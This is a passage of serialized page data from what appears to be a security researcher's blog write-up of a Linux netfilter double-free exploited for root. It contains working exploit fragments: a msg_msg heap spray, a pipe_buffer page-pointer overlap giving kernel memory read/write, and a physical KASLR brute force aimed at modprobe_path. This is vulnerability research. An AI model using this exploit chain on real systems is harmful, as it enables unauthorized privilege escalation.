switch_task_namespaces(task, &init_nsproxy);\n",{"type":19,"tag":168,"props":54757,"children":54758},{"class":170,"line":1064},[54759,54763,54767,54771,54775,54779,54783,54787,54791,54795],{"type":19,"tag":168,"props":54760,"children":54761},{"style":393},[54762],{"type":24,"value":53653},{"type":19,"tag":168,"props":54764,"children":54765},{"style":212},[54766],{"type":24,"value":54168},{"type":19,"tag":168,"props":54768,"children":54769},{"style":399},[54770],{"type":24,"value":48752},{"type":19,"tag":168,"props":54772,"children":54773},{"style":212},[54774],{"type":24,"value":6099},{"type":19,"tag":168,"props":54776,"children":54777},{"style":399},[54778],{"type":24,"value":486},{"type":19,"tag":168,"props":54780,"children":54781},{"style":212},[54782],{"type":24,"value":53674},{"type":19,"tag":168,"props":54784,"children":54785},{"style":399},[54786],{"type":24,"value":1811},{"type":19,"tag":168,"props":54788,"children":54789},{"style":192},[54790],{"type":24,"value":54631},{"type":19,"tag":168,"props":54792,"children":54793},{"style":212},[54794],{"type":24,"value":46556},{"type":19,"tag":168,"props":54796,"children":54797},{"style":373},[54798],{"type":24,"value":54640},{"type":19,"tag":168,"props":54800,"children":54801},{"class":170,"line":1087},[54802,54806,54810,54814,54818,54822,54826,54830],{"type":19,"tag":168,"props":54803,"children":54804},{"style":393},[54805],{"type":24,"value":53653},{"type":19,"tag":168,"props":54807,"children":54808},{"style":212},[54809],{"type":24,"value":54168},{"type":19,"tag":168,"props":54811,"children":54812},{"style":399},[54813],{"type":24,"value":48752},{"type":19,"tag":168,"props":54815,"children":54816},{"style":212},[54817],{"type":24,"value":6099},{"type":19,"tag":168,"props":54819,"children":54820},{"style":399},[54821],{"type":24,"value":486},{"type":19,"tag":168,"props":54823,"children":54824},{"style":212},[54825],{"type":24,"value":53674},{"type":19,"tag":168,"props":54827,"children":54828},{"style":399},[54829],{"type":24,"value":1811},{"type":19,"tag":168,"props":54831,"children":54832},{"style":212},[54833],{"type":24,"value":54834}," INIT_NSPROXY;\n",{"type":19,"tag":168,"props":54836,"children":54837},{"class":170,"line":1096},[54838,54842,54846,54850,54854,54858,54862,54866],{"type":19,"tag":168,"props":54839,"children":54840},{"style":393},[54841],{"type":24,"value":53653},{"type":19,"tag":168,"props":54843,"children":54844},{"style":212},[54845],{"type":24,"value":54168},{"type":19,"tag":168,"props":54847,"children":54848},{"style":399},[54849],{"type":24,"value":48752},{"type":19,"tag":168,"props":54851,"children":54852},{"style":212},[54853],{"type":24,"value":6099},{"type":19,"tag":168,"props":54855,"children":54856},{"style":399},[54857],{"type":24,"value":486},{"type":19,"tag":168,"props":54859,"children":54860},{"style":212},[54861],{"type":24,"value":53674},{"type":19,"tag":168,"props":54863,"children":54864},{"style":399},[54865],{"type":24,"value":1811},{"type":19,"tag":168,"props":54867,"children":54868},{"style":212},[54869],{"type":24,"value":54870}," SWITCH_TASK_NAMESPACES;\n",{"type":19,"tag":168,"props":54872,"children":54873},{"class":170,"line":1105},[54874],{"type":19,"tag":168,"props":54875,"children":54876},{"style":212},[54877],{"type":24,"value":7761},{"type":19,"tag":7050,"props":54879,"children":54881},{"id":54880},"grabbing-the-kernelctf-flag",[54882],{"type":24,"value":54883},"Grabbing the kernelCTF flag",{"type":19,"tag":20,"props":54885,"children":54886},{},[54887,54891,54893,54900],{"type":19,"tag":1344,"props":54888,"children":54890},{"alt":48061,"src":54889},"/posts/netfilter-universal-root-1-day/flag.png",[],{"type":24,"value":54892},"\nYou can find the kernelCTF exploit in our ",{"type":19,"tag":269,"props":54894,"children":54897},{"href":54895,"rel":54896},"https://github.com/otter-sec/OtterRoot/blob/master/kernelctf/exploit.c",[273],[54898],{"type":24,"value":54899},"GitHub",{"type":24,"value":948},{"type":19,"tag":36,"props":54902,"children":54904},{"id":54903},"universal-exploit",[54905],{"type":24,"value":54906},"Universal exploit",{"type":19,"tag":20,"props":54908,"children":54909},{},[54910],{"type":24,"value":54911},"After exploiting KernelCTF, I decided to use this vulnerability to craft a universal exploit (one that works stably regardless of the target without needing to be modified). I took a different approach to avoid some compatibility and reliability pitfalls, the biggest ones being ROP and anything else that relies on kernel data offsets because those change from build to build. It's not uncommon to compile a list of gadgets for the different builds but it makes more sense just to avoid the trouble entirely.",{"type":19,"tag":7050,"props":54913,"children":54915},{"id":54914},"pivot-capability-using-msg_msg-mlistnext-pointer",[54916],{"type":24,"value":54917},"Pivot capability using msg_msg->mlist.next pointer",{"type":19,"tag":20,"props":54919,"children":54920},{},[54921,54923,54929,54931,54936,54938,54944],{"type":24,"value":54922},"Using the double-free vulnerability we can overlap a ",{"type":19,"tag":27,"props":54924,"children":54926},{"className":54925},[],[54927],{"type":24,"value":54928},"msg_msg",{"type":24,"value":54930}," object with with ",{"type":19,"tag":27,"props":54932,"children":54934},{"className":54933},[],[54935],{"type":24,"value":52582},{"type":24,"value":54937}," and control the ",{"type":19,"tag":27,"props":54939,"children":54941},{"className":54940},[],[54942],{"type":24,"value":54943},"m_list.next",{"type":24,"value":54945}," pointer.",{"type":19,"tag":158,"props":54947,"children":54949},{"className":26580,"code":54948,"language":26582,"meta":7,"style":7},"/* one msg_msg structure for each message */\nstruct msg_msg {\n struct list_head m_list;\n long m_type;\n size_t m_ts; /* message text size */\n struct msg_msgseg *next;\n void *security;\n /* the actual message follows immediately */\n};\n[...]\nstruct list_head {\n struct list_head *next, *prev;\n};\n",[54950],{"type":19,"tag":27,"props":54951,"children":54952},{"__ignoreMap":7},[54953,54961,54977,54998,55011,55029,55054,55070,55078,55085,55092,55100,55132],{"type":19,"tag":168,"props":54954,"children":54955},{"class":170,"line":171},[54956],{"type":19,"tag":168,"props":54957,"children":54958},{"style":373},[54959],{"type":24,"value":54960},"/* one msg_msg structure for each message */\n",{"type":19,"tag":168,"props":54962,"children":54963},{"class":170,"line":198},[54964,54968,54973],{"type":19,"tag":168,"props":54965,"children":54966},{"style":382},[54967],{"type":24,"value":6842},{"type":19,"tag":168,"props":54969,"children":54970},{"style":825},[54971],{"type":24,"value":54972}," msg_msg",{"type":19,"tag":168,"props":54974,"children":54975},{"style":212},[54976],{"type":24,"value":691},{"type":19,"tag":168,"props":54978,"children":54979},{"class":170,"line":415},[54980,54984,54989,54994],{"type":19,"tag":168,"props":54981,"children":54982},{"style":382},[54983],{"type":24,"value":18606},{"type":19,"tag":168,"props":54985,"children":54986},{"style":825},[54987],{"type":24,"value":54988}," list_head",{"type":19,"tag":168,"props":54990,"children":54991},{"style":393},[54992],{"type":24,"value":54993}," m_list",{"type":19,"tag":168,"props":54995,"children":54996},{"style":212},[54997],{"type":24,"value":412},{"type":19,"tag":168,"props":54999,"children":55000},{"class":170,"line":450},[55001,55006],{"type":19,"tag":168,"props":55002,"children":55003},{"style":382},[55004],{"type":24,"value":55005}," long",{"type":19,"tag":168,"props":55007,"children":55008},{"style":212},[55009],{"type":24,"value":55010}," m_type;\n",{"type":19,"tag":168,"props":55012,"children":55013},{"class":170,"line":560},[55014,55019,55024],{"type":19,"tag":168,"props":55015,"children":55016},{"style":382},[55017],{"type":24,"value":55018}," size_t",{"type":19,"tag":168,"props":55020,"children":55021},{"style":212},[55022],{"type":24,"value":55023}," m_ts;",{"type":19,"tag":168,"props":55025,"children":55026},{"style":373},[55027],{"type":24,"value":55028}," /* message text size */\n",{"type":19,"tag":168,"props":55030,"children":55031},{"class":170,"line":666},[55032,55036,55041,55045,55050],{"type":19,"tag":168,"props":55033,"children":55034},{"style":382},[55035],{"type":24,"value":18606},{"type":19,"tag":168,"props":55037,"children":55038},{"style":825},[55039],{"type":24,"value":55040}," msg_msgseg",{"type":19,"tag":168,"props":55042,"children":55043},{"style":382},[55044],{"type":24,"value":7259},{"type":19,"tag":168,"props":55046,"children":55047},{"style":393},[55048],{"type":24,"value":55049},"next",{"type":19,"tag":168,"props":55051,"children":55052},{"style":212},[55053],{"type":24,"value":412},{"type":19,"tag":168,"props":55055,"children":55056},{"class":170,"line":694},[55057,55061,55065],{"type":19,"tag":168,"props":55058,"children":55059},{"style":382},[55060],{"type":24,"value":48532},{"type":19,"tag":168,"props":55062,"children":55063},{"style":399},[55064],{"type":24,"value":7259},{"type":19,"tag":168,"props":55066,"children":55067},{"style":212},[55068],{"type":24,"value":55069},"security;\n",{"type":19,"tag":168,"props":55071,"children":55072},{"class":170,"line":707},[55073],{"type":19,"tag":168,"props":55074,"children":55075},{"style":373},[55076],{"type":24,"value":55077}," /* the actual message follows immediately */\n",{"type":19,"tag":168,"props":55079,"children":55080},{"class":170,"line":725},[55081],{"type":19,"tag":168,"props":55082,"children":55083},{"style":212},[55084],{"type":24,"value":14026},{"type":19,"tag":168,"props":55086,"children":55087},{"class":170,"line":746},[55088],{"type":19,"tag":168,"props":55089,"children":55090},{"style":212},[55091],{"type":24,"value":7761},{"type":19,"tag":168,"props":55093,"children":55094},{"class":170,"line":755},[55095],{"type":19,"tag":168,"props":55096,"children":55097},{"style":212},[55098],{"type":24,"value":55099},"struct list_head {\n",{"type":19,"tag":168,"props":55101,"children":55102},{"class":170,"line":1008},[55103,55107,55111,55115,55119,55123,55127],{"type":19,"tag":168,"props":55104,"children":55105},{"style":382},[55106],{"type":24,"value":18606},{"type":19,"tag":168,"props":55108,"children":55109},{"style":825},[55110],{"type":24,"value":54988},{"type":19,"tag":168,"props":55112,"children":55113},{"style":382},[55114],{"type":24,"value":7259},{"type":19,"tag":168,"props":55116,"children":55117},{"style":393},[55118],{"type":24,"value":55049},{"type":19,"tag":168,"props":55120,"children":55121},{"style":212},[55122],{"type":24,"value":471},{"type":19,"tag":168,"props":55124,"children":55125},{"style":399},[55126],{"type":24,"value":2002},{"type":19,"tag":168,"props":55128,"children":55129},{"style":212},[55130],{"type":24,"value":55131},"prev;\n",{"type":19,"tag":168,"props":55133,"children":55134},{"class":170,"line":1025},[55135],{"type":19,"tag":168,"props":55136,"children":55137},{"style":212},[55138],{"type":24,"value":14026},{"type":19,"tag":20,"props":55140,"children":55141},{},[55142,55144,55150,55152,55157],{"type":24,"value":55143},"This is particularly interesting if we send messages of different sizes on the same queue, making the ",{"type":19,"tag":27,"props":55145,"children":55147},{"className":55146},[],[55148],{"type":24,"value":55149},"mlist.next",{"type":24,"value":55151}," pointer of a message that lives in one cache point into a different cache. So, by spraying ",{"type":19,"tag":27,"props":55153,"children":55155},{"className":55154},[],[55156],{"type":24,"value":54928},{"type":24,"value":55158}," in kmalloc-cg-256 with a secondary message in each queue living in kmalloc-cg-1k.",{"type":19,"tag":20,"props":55160,"children":55161},{},[55162,55164,55169,55171],{"type":24,"value":55163},"By incrementing the next pointer of our controllable ",{"type":19,"tag":27,"props":55165,"children":55167},{"className":55166},[],[55168],{"type":24,"value":54928},{"type":24,"value":55170}," by 256, we are able to make it point to the different secondary message that is already referenced by a different primary message, creating a duplicated reference. We allow an easy way of pivoting our double-free capabilities to other caches and attacking a greater variety of objects.\n",{"type":19,"tag":1344,"props":55172,"children":55174},{"alt":48061,"src":55173},"/posts/netfilter-universal-root-1-day/msg-msg.png",[],{"type":19,"tag":158,"props":55176,"children":55178},{"className":26580,"code":55177,"language":26582,"meta":7,"style":7},"[...]\n // Spray msg_msg in kmalloc-256 and kmalloc-1k\n msg_t *msg = calloc(1, sizeof(msg_t) + 0xe8 - 48);\n int qid[SPRAY];\n for (int i = 0; i \u003C SPRAY; i++)\n {\n qid[i] = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n if (qid[i] \u003C 0)\n {\n perror(\"[-] msgget\");\n }\n *(uint32_t *)msg->mtext = i;\n *(uint64_t *)&msg->mtext[8] = 0xdeadbeefcafebabe;\n msg->mtype = MTYPE_PRIMARY;\n msgsnd(qid[i], msg, 0xe8 - 48, 0);\n msg->mtype = MTYPE_SECONDARY;\n msgsnd(qid[i], msg, 1024 - 48, 0);\n }\n // Prepare evil msg\n int evilqid = msgget(IPC_PRIVATE, 0666 | IPC_CREAT);\n if (evilqid \u003C 0)\n {\n perror(\"[-] msgget\");\n }\n[...] // trigger double-free in kmalloc-256\n",[55179],{"type":19,"tag":27,"props":55180,"children":55181},{"__ignoreMap":7},[55182,55189,55197,55223,55240,55288,55295,55335,55367,55374,55395,55402,55449,55513,55539,55585,55609,55653,55660,55668,55704,55728,55735,55755,55762],{"type":19,"tag":168,"props":55183,"children":55184},{"class":170,"line":171},[55185],{"type":19,"tag":168,"props":55186,"children":55187},{"style":212},[55188],{"type":24,"value":7761},{"type":19,"tag":168,"props":55190,"children":55191},{"class":170,"line":198},[55192],{"type":19,"tag":168,"props":55193,"children":55194},{"style":212},[55195],{"type":24,"value":55196}," // Spray msg_msg in kmalloc-256 and kmalloc-1k\n",{"type":19,"tag":168,"props":55198,"children":55199},{"class":170,"line":415},[55200,55205,55209,55213,55218],{"type":19,"tag":168,"props":55201,"children":55202},{"style":212},[55203],{"type":24,"value":55204}," msg_t *msg = calloc(1, ",{"type":19,"tag":168,"props":55206,"children":55207},{"style":825},[55208],{"type":24,"value":52811},{"type":19,"tag":168,"props":55210,"children":55211},{"style":212},[55212],{"type":24,"value":500},{"type":19,"tag":168,"props":55214,"children":55215},{"style":825},[55216],{"type":24,"value":55217},"msg_t",{"type":19,"tag":168,"props":55219,"children":55220},{"style":212},[55221],{"type":24,"value":55222},") + 0xe8 - 48);\n",{"type":19,"tag":168,"props":55224,"children":55225},{"class":170,"line":450},[55226,55230,55235],{"type":19,"tag":168,"props":55227,"children":55228},{"style":382},[55229],{"type":24,"value":16530},{"type":19,"tag":168,"props":55231,"children":55232},{"style":393},[55233],{"type":24,"value":55234}," qid",{"type":19,"tag":168,"props":55236,"children":55237},{"style":212},[55238],{"type":24,"value":55239},"[SPRAY];\n",{"type":19,"tag":168,"props":55241,"children":55242},{"class":170,"line":560},[55243,55247,55251,55255,55259,55263,55267,55271,55275,55280,55284],{"type":19,"tag":168,"props":55244,"children":55245},{"style":419},[55246],{"type":24,"value":422},{"type":19,"tag":168,"props":55248,"children":55249},{"style":212},[55250],{"type":24,"value":461},{"type":19,"tag":168,"props":55252,"children":55253},{"style":382},[55254],{"type":24,"value":16500},{"type":19,"tag":168,"props":55256,"children":55257},{"style":212},[55258],{"type":24,"value":52027},{"type":19,"tag":168,"props":55260,"children":55261},{"style":399},[55262],{"type":24,"value":486},{"type":19,"tag":168,"props":55264,"children":55265},{"style":192},[55266],{"type":24,"value":437},{"type":19,"tag":168,"props":55268,"children":55269},{"style":212},[55270],{"type":24,"value":48716},{"type":19,"tag":168,"props":55272,"children":55273},{"style":399},[55274],{"type":24,"value":3240},{"type":19,"tag":168,"props":55276,"children":55277},{"style":212},[55278],{"type":24,"value":55279}," SPRAY; i",{"type":19,"tag":168,"props":55281,"children":55282},{"style":399},[55283],{"type":24,"value":48752},{"type":19,"tag":168,"props":55285,"children":55286},{"style":212},[55287],{"type":24,"value":557},{"type":19,"tag":168,"props":55289,"children":55290},{"class":170,"line":666},[55291],{"type":19,"tag":168,"props":55292,"children":55293},{"style":212},[55294],{"type":24,"value":26657},{"type":19,"tag":168,"props":55296,"children":55297},{"class":170,"line":694},[55298,55303,55307,55311,55316,55321,55326,55330],{"type":19,"tag":168,"props":55299,"children":55300},{"style":393},[55301],{"type":24,"value":55302}," qid",{"type":19,"tag":168,"props":55304,"children":55305},{"style":212},[55306],{"type":24,"value":52079},{"type":19,"tag":168,"props":55308,"children":55309},{"style":399},[55310],{"type":24,"value":486},{"type":19,"tag":168,"props":55312,"children":55313},{"style":175},[55314],{"type":24,"value":55315}," msgget",{"type":19,"tag":168,"props":55317,"children":55318},{"style":212},[55319],{"type":24,"value":55320},"(IPC_PRIVATE, ",{"type":19,"tag":168,"props":55322,"children":55323},{"style":192},[55324],{"type":24,"value":55325},"0666",{"type":19,"tag":168,"props":55327,"children":55328},{"style":399},[55329],{"type":24,"value":1699},{"type":19,"tag":168,"props":55331,"children":55332},{"style":212},[55333],{"type":24,"value":55334}," IPC_CREAT);\n",{"type":19,"tag":168,"props":55336,"children":55337},{"class":170,"line":707},[55338,55342,55346,55351,55355,55359,55363],{"type":19,"tag":168,"props":55339,"children":55340},{"style":419},[55341],{"type":24,"value":672},{"type":19,"tag":168,"props":55343,"children":55344},{"style":212},[55345],{"type":24,"value":461},{"type":19,"tag":168,"props":55347,"children":55348},{"style":393},[55349],{"type":24,"value":55350},"qid",{"type":19,"tag":168,"props":55352,"children":55353},{"style":212},[55354],{"type":24,"value":52079},{"type":19,"tag":168,"props":55356,"children":55357},{"style":399},[55358],{"type":24,"value":3240},{"type":19,"tag":168,"props":55360,"children":55361},{"style":192},[55362],{"type":24,"value":437},{"type":19,"tag":168,"props":55364,"children":55365},{"style":212},[55366],{"type":24,"value":557},{"type":19,"tag":168,"props":55368,"children":55369},{"class":170,"line":725},[55370],{"type":19,"tag":168,"props":55371,"children":55372},{"style":212},[55373],{"type":24,"value":29131},{"type":19,"tag":168,"props":55375,"children":55376},{"class":170,"line":746},[55377,55382,55386,55391],{"type":19,"tag":168,"props":55378,"children":55379},{"style":175},[55380],{"type":24,"value":55381}," perror",{"type":19,"tag":168,"props":55383,"children":55384},{"style":212},[55385],{"type":24,"value":500},{"type":19,"tag":168,"props":55387,"children":55388},{"style":181},[55389],{"type":24,"value":55390},"\"[-] msgget\"",{"type":19,"tag":168,"props":55392,"children":55393},{"style":212},[55394],{"type":24,"value":1249},{"type":19,"tag":168,"props":55396,"children":55397},{"class":170,"line":755},[55398],{"type":19,"tag":168,"props":55399,"children":55400},{"style":212},[55401],{"type":24,"value":752},{"type":19,"tag":168,"props":55403,"children":55404},{"class":170,"line":1008},[55405,55409,55413,55418,55422,55426,55431,55435,55440,55444],{"type":19,"tag":168,"props":55406,"children":55407},{"style":399},[55408],{"type":24,"value":5188},{"type":19,"tag":168,"props":55410,"children":55411},{"style":212},[55412],{"type":24,"value":500},{"type":19,"tag":168,"props":55414,"children":55415},{"style":382},[55416],{"type":24,"value":55417},"uint32_t",{"type":19,"tag":168,"props":55419,"children":55420},{"style":399},[55421],{"type":24,"value":7259},{"type":19,"tag":168,"props":55423,"children":55424},{"style":212},[55425],{"type":24,"value":524},{"type":19,"tag":168,"props":55427,"children":55428},{"style":393},[55429],{"type":24,"value":55430},"msg",{"type":19,"tag":168,"props":55432,"children":55433},{"style":212},[55434],{"type":24,"value":11203},{"type":19,"tag":168,"props":55436,"children":55437},{"style":393},[55438],{"type":24,"value":55439},"mtext",{"type":19,"tag":168,"props":55441,"children":55442},{"style":399},[55443],{"type":24,"value":402},{"type":19,"tag":168,"props":55445,"children":55446},{"style":212},[55447],{"type":24,"value":55448}," i;\n",{"type":19,"tag":168,"props":55450,"children":55451},{"class":170,"line":1025},[55452,55456,55460,55464,55468,55472,55476,55480,55484,55488,55492,55496,55500,55504,55509],{"type":19,"tag":168,"props":55453,"children":55454},{"style":399},[55455],{"type":24,"value":5188},{"type":19,"tag":168,"props":55457,"children":55458},{"style":212},[55459],{"type":24,"value":500},{"type":19,"tag":168,"props":55461,"children":55462},{"style":382},[55463],{"type":24,"value":53118},{"type":19,"tag":168,"props":55465,"children":55466},{"style":399},[55467],{"type":24,"value":7259},{"type":19,"tag":168,"props":55469,"children":55470},{"style":212},[55471],{"type":24,"value":524},{"type":19,"tag":168,"props":55473,"children":55474},{"style":399},[55475],{"type":24,"value":505},{"type":19,"tag":168,"props":55477,"children":55478},{"style":393},[55479],{"type":24,"value":55430},{"type":19,"tag":168,"props":55481,"children":55482},{"style":212},[55483],{"type":24,"value":11203},{"type":19,"tag":168,"props":55485,"children":55486},{"style":393},[55487],{"type":24,"value":55439},{"type":19,"tag":168,"props":55489,"children":55490},{"style":212},[55491],{"type":24,"value":1152},{"type":19,"tag":168,"props":55493,"children":55494},{"style":192},[55495],{"type":24,"value":1506},{"type":19,"tag":168,"props":55497,"children":55498},{"style":212},[55499],{"type":24,"value":6099},{"type":19,"tag":168,"props":55501,"children":55502},{"style":399},[55503],{"type":24,"value":486},{"type":19,"tag":168,"props":55505,"children":55506},{"style":192},[55507],{"type":24,"value":55508}," 0xdeadbeefcafebabe",{"type":19,"tag":168,"props":55510,"children":55511},{"style":212},[55512],{"type":24,"value":412},{"type":19,"tag":168,"props":55514,"children":55515},{"class":170,"line":1042},[55516,55521,55525,55530,55534],{"type":19,"tag":168,"props":55517,"children":55518},{"style":393},[55519],{"type":24,"value":55520}," msg",{"type":19,"tag":168,"props":55522,"children":55523},{"style":212},[55524],{"type":24,"value":11203},{"type":19,"tag":168,"props":55526,"children":55527},{"style":393},[55528],{"type":24,"value":55529},"mtype",{"type":19,"tag":168,"props":55531,"children":55532},{"style":399},[55533],{"type":24,"value":402},{"type":19,"tag":168,"props":55535,"children":55536},{"style":212},[55537],{"type":24,"value":55538}," MTYPE_PRIMARY;\n",{"type":19,"tag":168,"props":55540,"children":55541},{"class":170,"line":1055},[55542,55547,55551,55555,55560,55564,55568,55573,55577,55581],{"type":19,"tag":168,"props":55543,"children":55544},{"style":175},[55545],{"type":24,"value":55546}," msgsnd",{"type":19,"tag":168,"props":55548,"children":55549},{"style":212},[55550],{"type":24,"value":500},{"type":19,"tag":168,"props":55552,"children":55553},{"style":393},[55554],{"type":24,"value":55350},{"type":19,"tag":168,"props":55556,"children":55557},{"style":212},[55558],{"type":24,"value":55559},"[i], msg, ",{"type":19,"tag":168,"props":55561,"children":55562},{"style":192},[55563],{"type":24,"value":53455},{"type":19,"tag":168,"props":55565,"children":55566},{"style":399},[55567],{"type":24,"value":48738},{"type":19,"tag":168,"props":55569,"children":55570},{"style":192},[55571],{"type":24,"value":55572}," 48",{"type":19,"tag":168,"props":55574,"children":55575},{"style":212},[55576],{"type":24,"value":471},{"type":19,"tag":168,"props":55578,"children":55579},{"style":192},[55580],{"type":24,"value":1452},{"type":19,"tag":168,"props":55582,"children":55583},{"style":212},[55584],{"type":24,"value":1249},{"type":19,"tag":168,"props":55586,"children":55587},{"class":170,"line":1064},[55588,55592,55596,55600,55604],{"type":19,"tag":168,"props":55589,"children":55590},{"style":393},[55591],{"type":24,"value":55520},{"type":19,"tag":168,"props":55593,"children":55594},{"style":212},[55595],{"type":24,"value":11203},{"type":19,"tag":168,"props":55597,"children":55598},{"style":393},[55599],{"type":24,"value":55529},{"type":19,"tag":168,"props":55601,"children":55602},{"style":399},[55603],{"type":24,"value":402},{"type":19,"tag":168,"props":55605,"children":55606},{"style":212},[55607],{"type":24,"value":55608}," MTYPE_SECONDARY;\n",{"type":19,"tag":168,"props":55610,"children":55611},{"class":170,"line":1087},[55612,55616,55620,55624,55628,55633,55637,55641,55645,55649],{"type":19,"tag":168,"props":55613,"children":55614},{"style":175},[55615],{"type":24,"value":55546},{"type":19,"tag":168,"props":55617,"children":55618},{"style":212},[55619],{"type":24,"value":500},{"type":19,"tag":168,"props":55621,"children":55622},{"style":393},[55623],{"type":24,"value":55350},{"type":19,"tag":168,"props":55625,"children":55626},{"style":212},[55627],{"type":24,"value":55559},{"type":19,"tag":168,"props":55629,"children":55630},{"style":192},[55631],{"type":24,"value":55632},"1024",{"type":19,"tag":168,"props":55634,"children":55635},{"style":399},[55636],{"type":24,"value":48738},{"type":19,"tag":168,"props":55638,"children":55639},{"style":192},[55640],{"type":24,"value":55572},{"type":19,"tag":168,"props":55642,"children":55643},{"style":212},[55644],{"type":24,"value":471},{"type":19,"tag":168,"props":55646,"children":55647},{"style":192},[55648],{"type":24,"value":1452},{"type":19,"tag":168,"props":55650,"children":55651},{"style":212},[55652],{"type":24,"value":1249},{"type":19,"tag":168,"props":55654,"children":55655},{"class":170,"line":1096},[55656],{"type":19,"tag":168,"props":55657,"children":55658},{"style":212},[55659],{"type":24,"value":761},{"type":19,"tag":168,"props":55661,"children":55662},{"class":170,"line":1105},[55663],{"type":19,"tag":168,"props":55664,"children":55665},{"style":373},[55666],{"type":24,"value":55667}," // Prepare evil msg\n",{"type":19,"tag":168,"props":55669,"children":55670},{"class":170,"line":1174},[55671,55675,55680,55684,55688,55692,55696,55700],{"type":19,"tag":168,"props":55672,"children":55673},{"style":382},[55674],{"type":24,"value":16530},{"type":19,"tag":168,"props":55676,"children":55677},{"style":212},[55678],{"type":24,"value":55679}," evilqid ",{"type":19,"tag":168,"props":55681,"children":55682},{"style":399},[55683],{"type":24,"value":486},{"type":19,"tag":168,"props":55685,"children":55686},{"style":175},[55687],{"type":24,"value":55315},{"type":19,"tag":168,"props":55689,"children":55690},{"style":212},[55691],{"type":24,"value":55320},{"type":19,"tag":168,"props":55693,"children":55694},{"style":192},[55695],{"type":24,"value":55325},{"type":19,"tag":168,"props":55697,"children":55698},{"style":399},[55699],{"type":24,"value":1699},{"type":19,"tag":168,"props":55701,"children":55702},{"style":212},[55703],{"type":24,"value":55334},{"type":19,"tag":168,"props":55705,"children":55706},{"class":170,"line":1182},[55707,55711,55716,55720,55724],{"type":19,"tag":168,"props":55708,"children":55709},{"style":419},[55710],{"type":24,"value":9724},{"type":19,"tag":168,"props":55712,"children":55713},{"style":212},[55714],{"type":24,"value":55715}," (evilqid ",{"type":19,"tag":168,"props":55717,"children":55718},{"style":399},[55719],{"type":24,"value":3240},{"type":19,"tag":168,"props":55721,"children":55722},{"style":192},[55723],{"type":24,"value":437},{"type":19,"tag":168,"props":55725,"children":55726},{"style":212},[55727],{"type":24,"value":557},{"type":19,"tag":168,"props":55729,"children":55730},{"class":170,"line":1212},[55731],{"type":19,"tag":168,"props":55732,"children":55733},{"style":212},[55734],{"type":24,"value":26657},{"type":19,"tag":168,"props":55736,"children":55737},{"class":170,"line":1220},[55738,55743,55747,55751],{"type":19,"tag":168,"props":55739,"children":55740},{"style":175},[55741],{"type":24,"value":55742}," perror",{"type":19,"tag":168,"props":55744,"children":55745},{"style":212},[55746],{"type":24,"value":500},{"type":19,"tag":168,"props":55748,"children":55749},{"style":181},[55750],{"type":24,"value":55390},{"type":19,"tag":168,"props":55752,"children":55753},{"style":212},[55754],{"type":24,"value":1249},{"type":19,"tag":168,"props":55756,"children":55757},{"class":170,"line":1252},[55758],{"type":19,"tag":168,"props":55759,"children":55760},{"style":212},[55761],{"type":24,"value":761},{"type":19,"tag":168,"props":55763,"children":55764},{"class":170,"line":1260},[55765],{"type":19,"tag":168,"props":55766,"children":55767},{"style":212},[55768],{"type":24,"value":55769},"[...] // trigger double-free in kmalloc-256\n",{"type":19,"tag":7050,"props":55771,"children":55773},{"id":55772},"using-pipe_buffer-page-pointer-for-physical-readwrite",[55774],{"type":24,"value":55775},"Using pipe_buffer->page pointer for physical read/write",{"type":19,"tag":20,"props":55777,"children":55778},{},[55779,55781,55787,55788,55794,55795,55801,55803,55809],{"type":24,"value":55780},"Now that we have increased the reach of our double-free, it's probably a good idea to go to ",{"type":19,"tag":27,"props":55782,"children":55784},{"className":55783},[],[55785],{"type":24,"value":55786},"kmalloc-1k",{"type":24,"value":8436},{"type":19,"tag":27,"props":55789,"children":55791},{"className":55790},[],[55792],{"type":24,"value":55793},"overlap pipe_buffer",{"type":24,"value":18959},{"type":19,"tag":27,"props":55796,"children":55798},{"className":55797},[],[55799],{"type":24,"value":55800},"skbuf",{"type":24,"value":55802}," data to control the ",{"type":19,"tag":27,"props":55804,"children":55806},{"className":55805},[],[55807],{"type":24,"value":55808},"page",{"type":24,"value":55810}," field.",{"type":19,"tag":20,"props":55812,"children":55813},{},[55814,55815,55820,55822,55828,55830],{"type":24,"value":14062},{"type":19,"tag":27,"props":55816,"children":55818},{"className":55817},[],[55819],{"type":24,"value":55808},{"type":24,"value":55821}," field is a pointer into ",{"type":19,"tag":27,"props":55823,"children":55825},{"className":55824},[],[55826],{"type":24,"value":55827},"vmemmap_base",{"type":24,"value":55829},", which contains all page structs used to track memory mapped to the kernel. This pointer is used to fetch the address of the data associated with a given pipe when reading/writing.\n",{"type":19,"tag":1344,"props":55831,"children":55833},{"alt":48061,"src":55832},"/posts/netfilter-universal-root-1-day/pipe-buffer.png",[],{"type":19,"tag":20,"props":55835,"children":55836},{},[55837,55839,55844],{"type":24,"value":55838},"This now allows us to navigate the ",{"type":19,"tag":27,"props":55840,"children":55842},{"className":55841},[],[55843],{"type":24,"value":55827},{"type":24,"value":55845}," array and use our pipe as an interface to read/write kernel memory directly.",{"type":19,"tag":7050,"props":55847,"children":55849},{"id":55848},"bruteforce-physical-kernel-base",[55850],{"type":24,"value":55851},"Bruteforce physical kernel base",{"type":19,"tag":20,"props":55853,"children":55854},{},[55855,55857,55863,55865,55870,55872,55878],{"type":24,"value":55856},"With the capability to iterate over kernel memory pages and read/write them, we could easily look for any value we want to overwrite, such as ",{"type":19,"tag":27,"props":55858,"children":55860},{"className":55859},[],[55861],{"type":24,"value":55862},"modprobe_path",{"type":24,"value":55864},". Keep in mind that simply searching page by page from the start of ",{"type":19,"tag":27,"props":55866,"children":55868},{"className":55867},[],[55869],{"type":24,"value":55827},{"type":24,"value":55871}," can be very time-consuming because the physical address at which the kernel base is loaded is randomized. However, the start of the kernel base is always aligned by a constant ",{"type":19,"tag":27,"props":55873,"children":55875},{"className":55874},[],[55876],{"type":24,"value":55877},"PHYSICAL_ALIGN",{"type":24,"value":55879}," value, 0x200000 by default in amd64, so we can significantly speed up our search by first only looking at aligned addresses for something that looks like the kernel base and then start a page by page search from there.",{"type":19,"tag":158,"props":55881,"children":55883},{"className":26580,"code":55882,"language":26582,"meta":7,"style":7},"[...]\n// Bruteforce phys-KASLR\n uint64_t kernel_base;\n bool found = false;\n uint8_t data[PAGE_SIZE] = {0};\n puts(\"[*] bruteforce phys-KASLR\");\n for (uint64_t i = 0;; i++)\n {\n kernel_base = 0x40 * ((PHYSICAL_ALIGN * i) >> PAGE_SHIFT);\n pipebuf->page = vmemmap_base + kernel_base;\n pipebuf->offset = 0;\n pipebuf->len = PAGE_SIZE + 1;\n[...]\n for (int j = 0; j \u003C PIPE_SPRAY; 